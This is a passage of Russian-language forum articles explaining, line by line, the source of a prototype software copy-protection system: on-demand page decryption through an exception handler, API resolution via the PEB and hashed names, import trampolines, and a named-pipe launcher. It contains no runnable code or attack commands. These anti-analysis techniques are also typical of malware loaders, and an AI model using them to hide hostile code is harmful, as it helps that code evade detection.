  1. Тип переменной - PEXCEPTION_POINTERS, название переменной - pExPtrs, содержит служебную структуру, определяющую параметры возникшего необработанного исключения.

Данная функция возвращает код обработки исключения, в соответствии с документацией на обработку исключений.
Строки 194-201 содержат декларацию и инициализацию локальных переменных, используемых в процессе выполнения данной функции, в пределах ее видимости.
Строки 202-204 содержат проверку, возникло ли исключение в области исполняемых секций контролируемого исполняемого модуля, в зависимости от результата которой происходит исполнение условно выполняемого блока кода.
Строка 206 содержит проверку, является ли возникшее исключение следствием нарушения доступа (EXCEPTION_ACCESS_VIOLATION) или оно вызвано другими причинами. Данная проверка нужна для отграничения исключений, возникших в результате попадания выполняемого потока на область зашифрованных страниц.
Строка 208 содержит вызов внешней системной функции синхронизации исполнения, обеспечивающий монопольный доступ к объекту синхронизации вызывающему данную функцию потоку либо ожидание освобождения объекта синхронизации на уровне планировщика квантов времени выполнения потоков, обеспечивая эффективное использование процессорного времени ожидающими в состоянии сна потоками, не увеличивая значение расхода CPU
Строка 209 содержит вызов внешней системной функции, возвращающей значение идентификатора текущего выполняемого потока.
Строки 210-218 содержат реализацию цикла, обрабатывающего записи в динамическом массиве идентификаторов потока с целью приостановки выполнения всех потоков, выполняющихся в контролируемом процессе, за исключением текущего потока, вызвавшего исключение.
Строка 219 содержит процедуру получения адреса исключения из переданного функции параметра, содержащего описание возникшего исключения.
Строки 220-221 вычисляют значение номера страницы контролируемого имиджа, на которой возникло исключение.
Строка 222 содержит вызов внешней системной функции, изменяющей атрибуты страницы адреса возникновения исключения на PAGE_EXECUTE_READWRITE
Строка 223 содержит проверку, является ли страница по адресу возникновения исключения расшифрованной или еще зашифрованной, в зависимости от чего исполняется блок условного выполнения в строках 225-256
Строка 225 содержит вызов библиотечной функции, обнуляющей контекст для вызова функции симметричного шифрования (для расшифровки страниц).
Строка 226 содержит настройку параметров симметричного шифрования.
Строка 227 содержит вызов библиотечной функции RSAREF, выполняющей инициализацию параметров для симметричного шифрования.
Строка 228 содержит вызов библиотечной функции, осуществляющей симметричное шифрование (страница имиджа, на которой возникло исключение, расшифровывается, после чего выполнение инструкции по адресу исключения возобновляется, обеспечивая непрерывную корректную работу контролируемого исполняемого модуля).
Строка 229-255 содержат цикл вставки в расшифрованную страницу памяти изъятых из нее ранее частей объектного кода.
Строка 256 содержит вызов внешней системной функции, осуществляющей изменение атрибутов расшифрованной страницы атрибутами PAGE_EXECUTE_READ
Строки 258-266 содержат цикл прохода по всем элементам динамического массива идентификаторов потоков за исключением выполняемого в настоящее время потока с целью их запуска после приостановки.
Строка 267 освобождает объект синхронизации, позволяя другим потокам обращаться к динамическому массиву идентификаторов потоков в безопасном режиме, исключающем двойную запись в динамический массив или совместную обработку ошибки.
Строки 268-270 возвращают код продолжения выполнения после исключения, EXCEPTION_CONTINUE_EXECUTION - снимая принудительно флаг EXCEPTION_NONCONTINUABLE.

Функция Timer(), реализация восстановления зашифрованных страниц

Данная функция, вызываемая периодически за истечением интервала времени, осуществляет восстановление зашифрованных страниц в пределах всего адресного пространства имиджа контролируемого процесса.
Прототип данной функции обусловлен требованиями к функциям, предназначенным для выполнения в отдельном потоке, в связи с чем принимают на вход следующие параметры:

  1. Тип переменной - void *, наименование переменной - lpParam

Данная функция возвращает значение, тип которого определен требованиями к функциям, выполняемым в отдельных потоках, запускаемых посредством вызова системной функции CreateThread()
Строки 279-280 содержат декларацию и инициализацию локальных переменных, используемых в данной функции в пределах их видимости.
Строка 281 содержит вызов внешней системной функции, осуществляющей создание примитива объектов синхронизации выполнения - EVENT, сохраняемый в глобально доступной переменной hSyncEvent
Строка 282 выполняет проверку, установлен ли в настройках контроля исполняемого модуля режим шифрования страниц, в случае наличия установленного режима, выполняется блок условного выполнения в строках 284-314.
Строка 284 содержит условный цикл, выполнение которого связано с результатом вызова внешней системной функции ожидания объекта синхронизации, сохраненного в переменной hSyncEvent, с таймаутом ожидания 5 секунд - что гораздо более экологично, нежели чем выполнение команды Sleep(), выполняя условно выполняемый блок кода в строках 286-313
Строка 286 увеличивает счетчик произведенных попыток процедур очистки памяти контролируемого модуля с заменой страниц зашифрованными.
Строка 287 выполняет проверку, определяющую кратность счетчика произведенных попыток процедур очистки памяти контролируемого модуля, в результате успешного завершения которой исполняется блок условного выполнения в строках 289-312
Строка 289 содержит вызов внешней системной функции, возвращающей значение идентификатора выполняющегося в настоящее время потока, сохраняемого в переменной tID.
Строка 290 содержит вызов внешней системной функции синхронизации исполнения, обеспечивающий монопольный доступ к объекту синхронизации вызывающему данную функцию потоку либо ожидание освобождения объекта синхронизации на уровне планировщика квантов времени выполнения потоков, обеспечивая эффективное использование процессорного времени ожидающими в состоянии сна потоками, не увеличивая значение расхода CPU
Строки 291-299 содержат реализацию цикла приостановки исполнения всех существующих в контролируемом процессе потоков, за исключением исполняющегося в настоящее время.
Строка 300 содержит вызов внешней системной функции, осуществляющей изменение атрибутов имиджа контролируемого исполняемого модуля на PAGE_READWRITE.
Строка 301 содержит вызов библиотечной функции для копирования зашифрованных страниц имиджа в область памяти, занимаемую имиджем.
Строка 302 содержит вызов внешней системной функции, осуществляющей изменение атрибутов имиджа контролируемого исполняемого модуля на PAGE_NOACCESS, тем самым провоцируя потоки, исполнение которых идет на указанных страницах, вызывать исключения - приводящие к вызовам обработчика исключений NoAccessHandler с целью актуализации исполняемых страниц.
Строки 303-311 содержат реализацию цикла, размораживающего потоки контролируемого процесса, за исключением выполняющего в данное время.
Строка 312 освобождает объект синхронизации, позволяя другим потокам обращаться к динамическому массиву идентификаторов потоков в безопасном режиме,
Строка 316 возвращает результат выполнения потока (0)

Функция CalcHash(), реализация вычисления лайт версии хеш значений

Данная функция служит для подсчета значения хеша и принимает на вход следующие параметры:

  1. Тип переменной - char *, имя переменной - str, данная переменная содержит адрес строки, хеш которой необходимо вычислить

Данная функция возвращает значение вычисленного хеш значения, применяемого для ускорения обработки строк, требующих сравнения.
Строки 321-322 содержат код инициализации и декларации локальных переменных, применяемых в процессе работы данной функции.
Строка 323-328 начинает выполнение и реализуют цикл до появления нуля, заканчивающего строку, переданную в функцию в параметре str.
Строка 329 возвращает в качестве результата хеширования строки 31 бит из вычисленного значения хеша.

Функция GetProcAddressEx(), реализация получения адресов функций

Данная функция обеспечивает получение импортируемых адресов внешних по отношению к контролируемому процессу динамически загружаемых библиотек.
Данная функция принимает на вход следующие параметры:

  1. Тип переменной - HMODULE, наименование переменной - hModule, принимает базовый адрес модуля, экспортируемые функции которого подлежат резолву
  2. Тип переменной - DWORD, наименование переменной - dwApiHash, содержит хеш от имени модуля для поиска среди списка.
  3. Тип переменной - int *, наименование переменной - dwType, зарезервировано для будущего использования.

Данная функция возвращает адрес искомой экспортируемой функции.
Строки 334-338 декларируют и инициализируют локальные переменные, используемые в ходе выполнения функции в пределах ее видимости.
Строки 339-343 содержат код, условно компилируемый в зависимости от исходной архитектуры контролируемого файла - получающий указатель на структуру IMAGE_NT_HEADERS/IMAGE_NT_HEADERS64
Строки 344-349 декларируют и инициализируют локальные переменные, используемые в контексте выполняемой функции, в пределах их видимости.
Строки 351-367 содержат проверку, содержит ли хеш искомой функции старший бит, установленный в единицу - если проверка успешна, идет поиск по ординалу, в противном случае поиск идет по хешу имени экспортируемой функции.
Строка 369 вычисляет указатель на таблицу адресов экспортируемых функций и сохраняет ее в переменной pAddrTable
Строка 370 вычисляет адрес экспортируемой функции и сохраняет его в переменной dwRva
Строки 371-401 содержат реализацию проверки и условно выполняемых блоков, исполнение которых зависит от результата проверки. В ходе проверки выясняется, находится ли экспортируемый адрес в пределах имиджа, либо он использует Import Forwarding - при котором непосредственно функции могут находиться в другом модуле. В случае обнаружения функции с Import Forwarding, рекурсивно вызывается выполняемая в настоящее время функция, определяющая адрес экспортируемой функции непосредственно в экспортирующем модуле.

Функция GetModuleHandleExt(), реализация получения базового адреса модуля

Данная функция реализует получение списка загруженных модулей через PEB для резолвинга адресов импортируемых функций
Данная функция принимает на вход следующие параметры:

  1. Тип переменной - LPCSTR, наименование переменной - ModuleName, содержит имя искомого модуля
  2. Тип переменной - int, наименование переменной - ModuleHash, содержит хеш имени искомого модуля.
  3. Тип переменной - int, наименование переменной - Load, содержит признак необходимости загрузки модуля по причине его незагруженности в контролируемый процесс в связи с урезанной таблицей импорта на этапе работы системного загрузчика.

Строки 406-410 содержат декларацию и инициализацию локальных переменных, используемых в контексте выполняемой функции, в пределах их видимости.
Строки 412-420 реализуют проверку и исполнение условно выполняемого блока, выполнение которого зависит от результата проверки параметра Load - если он установлен, происходит определение адреса модуля kernel32.dll и использование экспортируемой им функции LoadLibrary - которая используется для загрузки модуля вручную. Смысл параметра Load заключается в следующем - если модуль еще не загружен, перезапустить себя с параметром ручной загрузки, после чего вернуть адрес модуля.
Строки 422-426 содержат условно компилируемый код, формирующий процедуру получения адреса структуры Process Environment Block (PEB) для различных архитектур исполняемого модуля.
Строка 428 вычисляет адрес структуры InLoadOrderModuleList
Строки 430-431 получают необходимые для организации цикла прохода по записям списка загруженных модулей параметры.
Строки 433-456 содержат проверку, по результатам которой выполняется один из условно выполняемых блоков, проверка проводится на предмет наличия параметра ModuleName - если он есть, происходит поиск по имени модуля, если есть хеш - поиск проводится по хешу. После успешного поиска в обоих блоках условного выполнения производится возврат найденного базового адреса вызывающему.

Функция initialize(), инициализация клиентской части

Данная функция реализует инициализацию клиентской части контролируемого процесса.
Данная функция не принимает параметров и не возвращает значений.
Строки 462-464 декларируют и инициализируют локальные переменные, используемые в контексте данной функции, в пределах их видимости.
Строка 465 устанавливает значение переменной corrector в значение маркера, впоследствии корректируемого аппликатором на этапе подготовки клиентской части контролируемого модуля.
Строки 466-467 содержат вычисление адреса разницы между базовыми адресами клиентской части и контролируемого программного обеспечения.
Строка 472 выполняет проверку, в результате успеха которой выполняется блок условного выполнения в строках 474-632
Строки 474-479 декларируют и инициализируют локальные переменные, используемые в условно выполняемом блоке в пределах их видимости.
Строки 480-481 вычисляют количество секций в имидже контролируемого процесса в зависимости от архитектуры модуля, 32 битная или 64 битная.
Строка 482 сохраняет значение hImage в переменной ImageBase.
Строки 483-492 содержат реализацию цикла, проходящего по секциям контролируемого исполняемого модуля, проверяющего имена секций на совпадение со строкой “.rdata” , при нахождении которого меняющего атрибуты страниц памяти, занимаемой секцией на PAGE_READWRITE
Строка 493 открывает доступ к именованному пайпу для чтения и записи и сохраняет хэндл в переменную hPipe
Строка 494 выполняет проверку успешности открытия хендла на именованный пайп, выполненного в строке 493.
Строки 496-497 инициализируют локальные переменные, используемые в блоке условного выполнения, в том числе, выделяют память под буфер для взаимодействия с серверной частью, выделение памяти производится путем вызова внешней системной функции выделения памяти с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения.
Строка 498 сохраняет в выделенном под запрос серверной части буфере значение, получаемое в ходе выполнения ассемблерной команды CPUID с параметром 0
Строка 499 сохраняет идентификатор текущего процесса в первых 32 битах значения CPUID, обеспечивая возможность противодействия атакам типа replay
Строка 500 инициализирует переменную replycursor в значение нуля.
Строка 501 производит вызов функции SendRequestAndWaitReply, отправляя серверной части значение, возвращаемое командой CPUID вместе с идентификатором текущего выполняющегося процесса в буфере размером 16 байт.
Строка 503 реализует цикл, в котором полученный от сервера буфер обрабатывается последовательно, при этом, в переменной replycursor сохраняется текущее положение указателя внутри буфера ответа сервера.
Строка 505 содержит вызов библиотечной функции, копирующей из буфера с ответом сервера количество записей импортируемых API
Строка 506 увеличивает значение replycursor на 4 байта, которыми представлено количество импортируемых API в буфере
Строка 507 проверяет, не равно ли значение, прочитанное в переменную нулю - что характеризует окончание списка API в буфере. Если проверка успешна, цикл прерывается.
Строка 508 содержит вызов библиотечной функции, копирующей длину имени модуля, содержащего импортируемую функцию
Строка 509 увеличивает значение replycorsor на 4 байта, которыми в буфере представлена длина модуля, содержащего импортируемую функцию
Строка 510 содержит вызов библиотечной функции, копирующей значение хеша модуля, содержащего импортируемую функцию для осуществления поиска по хешу.
Строка 511 увеличивает значение replycursor на 4 байта, которыми в буфере представлено значение хеша от имени модуля.
Строка 512 содержит инициализацию локальной переменной под буфер, содержащий имя модуля, путем вызова внешней системной функции выделения памяти.
Строка 513 содержит вызов библиотечной функции, копирующей имя модуля в выделенный на строке 512 буфер, с учетом последнего байта, равного нулю.
Строка 514 увеличивает значение replycursor на длину имени модуля, содержащего импортируемую функцию.
Строки 515-522 реализуют цикл, проверяющий наличие в памяти контролируемого процесса искомого модуля, с поиском по хешу имени модуля, при отсутствии такового происходит поиск с загрузкой модуля вручную.
Строка 523 содержит проверку успешной загруженности необходимого модуля, в случае неуспешной загрузки которого происходит прекращение выполнения контролируемого процесса.
Строки 524-603 реализуют цикл резолвинга адресов импортируемых API с помощью информации, полученной с сервера в составе ответа сервера.
Строка 526 содержит вызов библиотечной функции, копирующей значение хеша искомой импортируемой функции для ее поиска.
Строка 527 увеличивает значение переменной replycursor на 4 байта, которыми представляются в ответе сервера значения хеша искомой импортируемой функции.
Строка 528 содержит вызов библиотечной функции, копирующей содержимое смещения сохранения базового адреса в таблице импортируемых функций.
Строка 529 увеличивает значение переменной replycursor на 4 байта, которыми представляются в ответе сервера значения смещения адреса импортируемой функции в таблице импортируемых функций.
Строки 530-531 инициализируют локальные переменные.
Строки 532-538 выполняют проверку, по результатам которой происходит выполнение одного из условно выполняемых блоков, в ходе проверки выясняется наличие в значении импортируемой функции установленного старшего бита - установленность которого говорит об использовании импорта по ординалу, в противном случае значение хеша имени импортируемой функции содержит именно значение хеша для осуществления поиска функции по ее имени, вернее, хешу ее имени.
Строка 539 содержит проверку, найдена ли искомая функция - если функция не найдена, выполнение контролируемого исполняемого модуля прекращается.
Строки 540-569 содержат условно компилируемый код, который позволяет использовать в клиентской части собственные надстройки над определенными импортируемыми функциями, например, системные функции для работы с файлами.
Строки 570-599 реализуют проверку, по результатам которой происходит выполнение одного из условно выполняемых блоков. В результате проверки проверяется архитектура выполняющегося кода, в зависимости от которой происходит выполнение создания переходников на вызываемые импортируемые функции (системные и находящиеся во внешних динамически загружаемых библиотеках). Переходники формируются в виде шеллкода, содержащего опкоды “mov xAX, API; jmp xAX” - где X зависит от архитектуры (E для 32 битной архитектуры и R для 64 битной архитектуры).
Строка 600 вычисляет адрес смещения внутри имиджа контролируемого файла, по которому должен находиться адрес переходника на выполнение внешних импортированных функций.
Строка 601 вызывает внешнюю системную функцию, изменяющую атрибуты страницы памяти, к которой относится смещение внутри имиджа контролируемого файла, по которому должен находиться адрес переходника на выполнение внешних импортированных функций.
Строка 602 содержит вызов библиотечной функции, копирующей адрес переходника по адресу смещения внутри имиджа контролируемого файла, по которому должен находиться адрес переходника на выполнение внешних импортированных функций.
Строка 603 вызывает внешнюю системную функцию, изменяющую атрибуты страницы памяти, к которой относится смещение внутри имиджа контролируемого файла, по которому должен находиться адрес переходника на выполнение внешних импортированных функций.
Строка 605 содержит вызов внешней системной функции, освобождающей выделенную ранее область памяти под буфер.
Строка 608 содержит вызов библиотечной функции, копирующей количество изъятых из объектного кода исполняемого модуля инструкций с необходимой для их восстановления информацией.
Строка 609 увеличивает значение переменной replycursor на 4 байта, которыми в ответе сервера представлено значение количества изымаемых ассемблерных инструкций.
Строка 610 проверяет значение, полученное на этапе выполнения строки 609 и по результату проверки выполняет блок условного выполнения на строках 612-615
Строка 612 содержит вызов внешней системной функции выделения памяти под буфер подлежащих вставке в исполняемые страницы опкодов ассемблерных инструкций, по 8 байт на каждую инструкцию, с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения.
Строка 613 присваивает переменной insCount значение apiCount.
Строка 614 содержит вызов библиотечной функции, копирующей данные о восстанавливаемых инструкциях в буфер, выделенный на этапе выполнения строки 612 из буфера, возвращенного серверной частью.
Строка 615 увеличивает переменную replycursor на размер буфера, содержащего данные о восстанавливаемых инструкциях.
Строка 617 содержит вызов библиотечной функции, копирующей данные о параметре защиты страниц памяти во время выполнения из буфера, содержащего ответа сервера.
Строка 618 увеличивает значение переменной replycursor на 4 байта, которыми в буфере ответа сервера представлены параметры шифрования секций.
Строка 619 проводит проверку, в результате успешного выполнения которой выполняется блок условного выполнения на строках 621-630
Строка 621 содержит вызов внешней системной функции выделения памяти под буфер, адрес которого сохраняется в переменной seckey с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения.
Строка 622 содержит вызов внешней системной функции выделения памяти под буфер, адрес которого сохраняется в переменной seciv с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения.
Строка 623 содержит вызов библиотечной функции, копирующей значение ключа из буфера ответа сервера длиной 64 бита
Строка 624 увеличивает переменную replycursor на 8 байт, которыми в буфере ответа сервера представлен ключ для шифрования секций имиджа с учетом идентификатора процесса и процессора.
Строка 625 содержит вызов библиотечной функции, копирующей значение ключа из буфера ответа сервера длиной 64 бита
Строка 626 увеличивает переменную replycursor на 8 байт, которыми в буфере ответа сервера представлен ключ для шифрования секций имиджа с учетом идентификатора процесса и процессора.
Строи 627-630 осуществляют обработку значений seckey и seciv с использованием отправленных ранее значений Process Id и Processor Id, делающей невозможным использование “подсунутого” клиентской части значения ответа серверной части.
Строки 634-642 в зависимости от архитектуры выполняемого модуля осуществляют вычисление адреса имиджа, необходимого для обработки страниц шифрованием.
Строка 643 осуществляет проверку, прибыл ли с сервера параметр шифрования секций, в случае наличия которого устанавливается векторный обработчик исключений, указывающий на функцию NoAccessHandler. В противном случае выполняется код блока условного выполнения на строках 654-681, встраивающий данные цифровых “отпечатков пальцев” в секции контролируемого исполняемого модуля.
Строка 685 содержит вызов внешней системной функции, запускающей на выполнение поток периодического обработчика данных для обработки шифрования страниц.

Функция GetCurrentPid(), реализация кроссплатформенного получения PID

Данная функция получает значение идентификатора процесса из структур ядра напрямую с использованием регистра fs.

ОПИСАНИЕ ЛАУНЧЕРА ПРОТОТИПА СИСТЕМЫ ЦИФРОВОЙ ДИСТРИБЬЮЦИИ

Исходный код, рассматриваемый в данной статье, доступен по адресу [https://github.com/fxsecltd/pfsdk- digidist/blob/main/client/client.c](https://github.com/fxsecltd/pfsdk- digidist/blob/main/libprotect/libprotect.c) и содержит реализацию прототипа исполняемого модуля, запускающего контролируемое программное обеспечение (в продакшн фазе такой запуск производится контролируемым программным обеспечение самостоятельно, обеспечивая связь с серверной частью посредством сетевых запросов.
.
**ФУНКЦИИ ЛАУНЧЕРА

Функция main(), точка входа в приложение**

Параметры точки входа приложения используют unicode нотацию - чтобы иметь возможность выполняться на операционных системах с поддержкой unicode в путях (скажем, если вы сохраняете проект по пути, содержащему кириллические символы, можно столкнуться с проблемой корректной обработки таких символов при передаче параметров).
Строки исходного файла 10-14 выполняют инициализацию локальных переменных, используемых в точке входа при обработке входных параметров, наименования переменных само объясняемые, в связи с чем комментировать их на данном этапе описания не предполагается.
Строка 26 реализует проверку достаточности передаваемых функции точки входа параметров - которых должно быть не менее 4 (включая первый параметр, которым система передает путь к исполняемому файлу).
Передаваемые точке входа параметры, описываются в порядке следования:

  1. Путь к исполняемому файлу, на который наложена система цифровой дистрибуции
  2. Путь к файлу, содержащему базу данных, содержащую данные, необходимые для корректного запуска файла, на который была наложена системы цифровой дистрибьюции
  3. Наименование пайпа, через который лаунчер будет обеспечивать общение серверной части с клиентской частью, без указания префикса \\\\.\\\\pipe\\

Строки 28-29 декларируют и инициализируют локальные переменные, используемые в контексте функции в пределах их видимости.
Строка 30 содержит вызов библиотечной функции обнуления буфера переменной, декларированной в строке 29
Строка 31 содержит вызов библиотечной функции конкатенации строк в формате unicode, инициализирующей буфер с именем именованного пайпа значением префикса, необходимого для именованных пайпов.
Строка 32 выполняет проверку длины имени пайпа на превышение ей значения MAX_PATH (260 симврлов), если значение превышает указанное, выводится информация о превышении длины и выполнение лаунчера завершается.
Строка 37 содержит вызов библиотечной функции, выполняющей конкатенацию строк в формате unicode с целью сцепления буфера, содержащего префикс именованных пайпов с переданным в качестве параметра наименованием именованного пайпа
Строка 38 содержит вызов внешней системной функции открытия именованного пайпа в серверном режиме с атрибутами доступа PIPE_ACCESS_DUPLEX и PIPE_TYPE_BYTE, возвращающей хендл для доступа к пайпу, сохраняемый в локальной переменной hPipe
Строка 39 выполняет проверку успешности выполнения функции в строке 38 путем сравнения возвращенного значения со значением INVALID_HANDLE_VALUE или 0xFFFFFFFF, выполняя в случае, если значение хендла валидное, блок условного выполнения, следующий непосредственно за проверкой.
Строки 41-45 декларируют и инициализируют локальные переменные, используемые в контексте блока условного выполнения в пределах их видимости
Строка 46 содержит вызов внешней системной функции получения текущей директории (указанной в качестве текущей директории при запуске процесса лаунчера
Строка 47 содержит вызов библиотечной функции обнуления области памяти, адрес которой и длина передаются функции в качестве параметра. В данном случае обнуляется содержимое структуры STARTUPINFO, необходимой для создания процесса контролируемого программного обеспечения.
Строка 48 инициализирует обязательные параметры структуры STARTUPINFO, необходимые для использования ее при вызове внешней системной функции создания процесса. В данной строке инициализируется параметр cb - сохраняющий длину структуры в байтах.
Строка 49 содержит вызов внешней системной функции создания процесса в соответствии с переданными ей параметрами. Данная строка запускает процесс, путь к файлу которого передается в первом аргументе, передаваемом в точку входа приложения - то есть, путь к контролируемому программному обеспечению с имплантированной системой цифровой дистрибьюции. Результат выполнения функции определяет выполнение блока условного выполнения, если результат равен нулю, выполняется вызов функции получения последней ошибки, а затем данный результат ошибки выводится в консоль с сообщением об ошибке, после чего выполнение процесса прерывается.
Строка 55 содержит вызов внешней системной функции, открывающей сессию работы с именованным пайпом, хендл которого сохранен в локальной переменной hPipe. Помимо вызова функции, строка проверяет результат ее выполнения - присваивая переменной fConnected значение истины в случае возврата функцией истины и в случае возврата функцией лжи, но наличия статуса последней возникшей ошибки ERROR_PIPE_CONNECTED
Строка 56 содержит проверку и условное исполнение по результатам проверки блока условного выполнения. В ходе данной проверки проверяется значение локальной переменной fConnected с выполнением блока условного выполнения в случае равенства указанной переменной истине.
Строки 58-61 содержат декларирование и инициализацию локальных переменных в контексте блока условного выполнения в пределах их видимости.
Строки 63-73 содержат реализацию открытия базы данных sqlite3 на чтение и доступа к выбираемым из базы данным, при этом, критерием выборки является равенство имени пайпа (без префиксов), по которому отграничиваются различные версии контролируемого программного обеспечения.
Строка 74 производит проверку статуса запроса к базе данных с целью выборки данных контролируемого программного обеспечения, отличаемого по наименованию именованного пайпа без префикса, по результату равенства которого значению SQLITE_ROW происходит исполнение блока условного выполнения, следующего за проверкой непосредственно.
Строка 76-78 содержат декларирование и инициализацию локальных переменных, используемых в контексте блока условного выполнения в пределах их видимости.
Строка 79 содержит декларацию и инициализацию локальной переменной fSize, которой присваивается значение, возвращаемое в результате вызова библиотечной функции получения размера данных при выборке типа BLOB.
Строка 80 содержит вызов внешней системной функции выделения памяти, выделяющей память в размере, соответствующем значению переменной fSize, инициализированной на строке 79, после выделения память заполняется нулями.
Строка 81 реализует проверку выполнения вызова функции на строке 80 и в случае неравенства полученного адреса выделенной памяти выполняет блок условного выполнения, следующий непосредственно за ней.
Строка 83 содержит декларацию и инициализацию локальной переменной p, которой присваивается значение указателя на область памяти, возвращаемого вызовом библиотечной функции. возвращающей адрес буфера для доступа к содержимому при запросе к полям типа BLOB.
Строка 84 содержит вызов библиотечной функции, устанавливающей значение байт в области памяти значениями переданных параметров, с длиной, равной переданному параметру.
Строка 85 содержит вызов библиотечной функции, сбрасывающий состояние запроса к базе данных sqlite3 с целью освобождения ресурсов, занимаемых запросом.
Строка 86 реализует цикл, выполняющийся, пока значение локальной переменной NBR не равно нулю. Данная переменная используется при вызове функций чтения данных через именованный пайп и раскрывает аббревиатуру NumberOfBytesRead - путем вызова внешней системной функции ReadFile
Строка 88 начинает чтение данных из пайпа, в буфер размерностью 4 байта, длина считываемых данных - 4 байта, режим чтения - синхронный
Строка 89 проверяет результат, возвращенный функцией ReadFile при чтении из пайпа четырех байт в буфер длиной 4 байта. Учитываются как значение, возвращаемое ReadFile, так и значение количества считанных байт. По аварийному результату (одно или оба значения равны нулю) исполняется блок условного выполнения, следующий непосредственно за проверкой, выводящий в консоль информацию о возникновении исключения и указание на возникшую ошибку с последующим завершением выполнения процесса лаунчера.
Строка 95 содержит вызов внешней системной функции выделения памяти, выделяющей область памяти и возвращающей ее базовый адрес, после выделения данная область заполняется нулями, а ее адрес сохраняется в локальной переменной. При этом, выделяется памяти ровно столько, сколько было вычитано в первых 4 байтах клиентского запроса серверу.
Строка 96 содержит вызов внешней системной функции, осуществляющей чтение из именованного пайпа буфера с известной длиной.
Строка 97 проверяет результат, возвращенный ранее вызванной функцией ReadFile при чтении из пайпа в буфер, имеющий длину, равную ранее прочитанному из пайпа значению.
Строка 99 вызывает внешнюю системную функцию, получающую значение счетчиков производительности, позволяющих замерять интервалы с гораздо меньшей скважностью, значение счетчика до начала вызова серверной части сохраняется в локальной переменной..
Строка 100 содержит вызов библиотеки серверной части, которой передается запрос, пришедший по именованному пайпу от клиента, содержащий передачу параметров под возвращаемый буфер и адрес переменной для получения длины возвращаемого буфера.
Строка 101 вызывает внешнюю системную функцию, получающую значение счетчиков производительности, позволяющих замерять интервалы с гораздо меньшей скважностью, значение счетчика после вызова серверной части сохраняется в локальной переменной.
Строка 102 вызывает внешнюю системную функцию, получающую значение частоты производительности процессора, позволяющей получать фактическую тактовую частоту для получения абсолютных значений интервала.
Строка 106 реализует проверку переменной, возвращенной при вызове серверной части и если она равна нулю, исполняется блок условного выполнения, непосредственно следующий за проверкой, в противном случае в консоль выводится сообщение со статусом ошибки и выполнение лаунчера прерывается.
Строка 108 содержит вызов внешней системной функции записи данных в именованный пайп, результат вызова которой проверяется в строке 109, выполняющей в случае равенства возвращаемого функцией записи значения либо количества записанных байт нулю вывод сообщения об ошибке в консоль и прекращение выполнения лаунчера. В данной строке в пайп записывается длина ответа сервера размером 4 байта.
Строка 116 содержит вызов внешней системной функции записи данных в именованный пайп, результат вызова которой проверяется в строке 117, выполняющей в случае равенства возвращаемого функцией записи значения либо количества записанных байт нулю вывод сообщения об ошибке в консоль и прекращение выполнения лаунчера. В данной строке в пайп записывается ответ сервера длиной в ранее переданное количество байт.
Строка 130 содержит вызов внешней системной функции закрытия хендла на объект.
Строка 131 содержит операцию присвоения значению локальной переменной hPipe значения нуля.
Строка 132 содержит вызов внешней системной функции освобождения ранее выделенной памяти.
Строка 133 содержит команду прерывания цикла break

Система цифровой дистрибьюции - часть 2 - аппликатор
ID: 676536fbb4103b69df373884
Thread ID: 46889
Created: 2021-01-17T08:39:48+0000
Last Post: 2021-01-17T08:39:48+0000
Author: Profense
Prefix: Статья
Replies: 0 Views: 1K

**СИСТЕМА ЦИФРОВОЙ ДИСТРИБЬЮЦИИ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ
ЧАСТЬ 2. АППЛИКАТОР

ВВЕДЕНИЕ**
Исходный код прототипа системы цифровой дистрибьюции “digidist” доступен на условиях лицензии MIT и размещен в публичном репозитории на Github по адресу https://github.com/fxsecltd/pfsdk-digidist.
Исходный код, рассматриваемый в данной статье, доступен по адресу https://github.com/fxsecltd/pfsdk-digidist/blob/main/protector/protector.c
В программной реализации аппликатора системы цифровой дистрибуции программного обеспечения мы используем сторонние компоненты, доступных под лицензией, позволяющей их использование в любых производных проектах без обязанности публикации исходных кодов.
Первым внешним компонентом, используемым в программной реализации аппликатора будет библиотека RSAREF (RSA Laboratories, a division of RSA Data Security) - которую мы добавим в файлы проекта для сборки вместе с исходным кодом аппликатора.
Вторым внешним компонентом, используемым в программной реализации аппликатора будет библиотека UDIS86 (Vivek Mohan <vivek@sig9.com>), аналогичным образом добавляемая для сборки вместе с исходным кодом аппликатора.
Третьим внешним компонентом является база сигнатур для определения упаковщиков, предположительно наложенных на обрабатываемое программное обеспечение.
Четвертым внешним компонентом будет движок базы данных sqlite3, подключаемый в проект в виде amalgamation файла.

**СТРУКТУРА ФУНКЦИЙ ПРОЕКТА

Функция main(), точка входа в приложение**

Параметры точки входа приложения используют unicode нотацию - чтобы иметь возможность выполняться на операционных системах с поддержкой unicode в путях (скажем, если вы сохраняете проект по пути, содержащему кириллические символы, можно столкнуться с проблемой корректной обработки таких символов при передаче параметров).
Строки исходного файла 13-38 выполняют инициализацию локальных переменных, используемых в точке входа при обработке входных параметров, наименования переменных само объясняемые, в связи с чем комментировать их на данном этапе описания не предполагается.
Строки 39-57 реализуют проверку достаточности передаваемых функции точки входа параметров - которых должно быть не менее 6 (включая первый параметр, которым система передает путь к исполняемому файлу).
Передаваемые точке входа параметры, описываются в порядке следования:

  1. Путь к файлу, на который накладывается система цифровой дистрибуции
  2. Путь к файлу, куда будет записан результат наложения системы дистрибуции
  3. Путь к файлу оригинала библиотеки клиентской части системы дистрибуции,
  4. Путь к файлу, в который будут сохранены данные для работы серверной части
  5. Имя именованного пайпа для связи клиентской части с серверной частью, без указания префикса \\\\.\\\\pipe\\
  6. Опции наложения системы дистрибуции (0 - включить все опции, 1 - отключить снятие “отпечатков пальцев”, 2 - отключить шифрование и защиту страниц памяти. 3 - отключить защиту страниц и шифрование, отключить снятие “отпечатков пальцев”, 4 - отключить удаление из файла, подлежащего дистрибуции таблицы SECURITY, содержащей сертификаты электронной подписи, т.к. наложение системы цифровой дистрибуции изменяет содержимое файла и оно не может соответствовать прежней цифровой подписи, 7 - отключить защиту страниц и шифрование, отключить снятие “отпечатков пальцев” и удаление таблицы SECURITY заголовка PE файла
  7. Длина битовой строки, содержащей повторяющиеся фрагменты длиной 1024 бит, содержащих зашифрованное публичным ключом RSA значение идентификатора пользователя, для запуска у которого был сгенерирован данный экземпляр изъятых из объектного кода данных.

